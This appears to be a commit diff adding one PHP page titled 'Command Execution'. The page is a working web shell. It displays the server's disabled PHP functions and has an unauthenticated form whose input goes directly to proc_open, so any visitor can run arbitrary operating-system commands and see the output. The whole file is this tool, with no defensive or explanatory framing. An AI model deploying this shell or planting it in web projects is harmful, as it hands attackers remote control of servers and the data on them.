|
| 1 | +<!DOCTYPE html> |
| 2 | +<html> |
| 3 | +<head> |
| 4 | + <meta charset="UTF-8"> |
| 5 | + <title>Command Execution</title> |
| 6 | + <style> |
| 7 | + body { |
| 8 | + font-family: Arial, sans-serif; |
| 9 | + font-size: 16px; |
| 10 | + line-height: 1.5; |
| 11 | + color: #333; |
| 12 | + } |
| 13 | + table { |
| 14 | + border-collapse: collapse; |
| 15 | + width: 100%; |
| 16 | + margin-bottom: 20px; |
| 17 | + } |
| 18 | + th, td { |
| 19 | + padding: 8px; |
| 20 | + text-align: left; |
| 21 | + border-bottom: 1px solid #ddd; |
| 22 | + } |
| 23 | + th { |
| 24 | + background-color: #f2f2f2; |
| 25 | + font-weight: bold; |
| 26 | + } |
| 27 | + .error { |
| 28 | + color: red; |
| 29 | + } |
| 30 | + .disabled-functions { |
| 31 | + font-size: 20px; |
| 32 | + font-weight: bold; |
| 33 | + color: #333; |
| 34 | + } |
| 35 | + </style> |
| 36 | +</head> |
| 37 | +<body> |
| 38 | + |
| 39 | +<?php |
| 40 | +$df = ini_get('disable_functions'); |
| 41 | +echo '<span class="disabled-functions">Disabled functions: ' . $df . '</span>'; |
| 42 | +?> |
| 43 | +</br> |
| 44 | +</br> |
| 45 | + <form method="POST"> |
| 46 | + <label for="cmd">Enter a command :</label> |
| 47 | + <input type="text" name="cmd" id="cmd" required> |
| 48 | + <button type="submit">Execute</button> |
| 49 | + </form> |
| 50 | + </br> |
| 51 | + <?php |
| 52 | + if (isset($_POST['cmd'])) { |
| 53 | + $descriptorspec = array( |
| 54 | + 0 => array("pipe", "r"), // stdin |
| 55 | + 1 => array("pipe", "w"), // stdout |
| 56 | + 2 => array("pipe", "w") // stderr |
| 57 | + ); |
| 58 | + $process = proc_open($_POST['cmd'], $descriptorspec, $pipes); |
| 59 | + if (is_resource($process)) { |
| 60 | + $stdout = stream_get_contents($pipes[1]); |
| 61 | + fclose($pipes[1]); |
| 62 | + $stderr = stream_get_contents($pipes[2]); |
| 63 | + fclose($pipes[2]); |
| 64 | + $return_value = proc_close($process); |
| 65 | + if ($return_value === 0) { |
| 66 | + $output = preg_split('/\r\n|\r|\n/', trim($stdout)); |
| 67 | + echo "<table>"; |
| 68 | + echo "<tr><th>Output:</th></tr>"; |
| 69 | + foreach ($output as $line) { |
| 70 | + $columns = preg_split('/\s+/', $line); |
| 71 | + $columns = array_map('trim', $columns); |
| 72 | + $columns = array_map(function($column) { |
| 73 | + return preg_replace('/\s+/', '', $column); |
| 74 | + }, $columns); |
| 75 | + $columns = array_filter($columns); |
| 76 | + echo "<tr>"; |
| 77 | + foreach ($columns as $column) { |
| 78 | + echo "<td>" . htmlspecialchars($column) . "</td>"; |
| 79 | + } |
| 80 | + echo "</tr>"; |
| 81 | + } |
| 82 | + echo "</table>"; |
| 83 | + } else { |
| 84 | + echo "<div class='error'>" . htmlspecialchars($stderr) . "</div>"; |
| 85 | + } |
| 86 | + } |
| 87 | + } |
| 88 | + ?> |
| 89 | +</body> |
| 90 | +</html> |
0 commit comments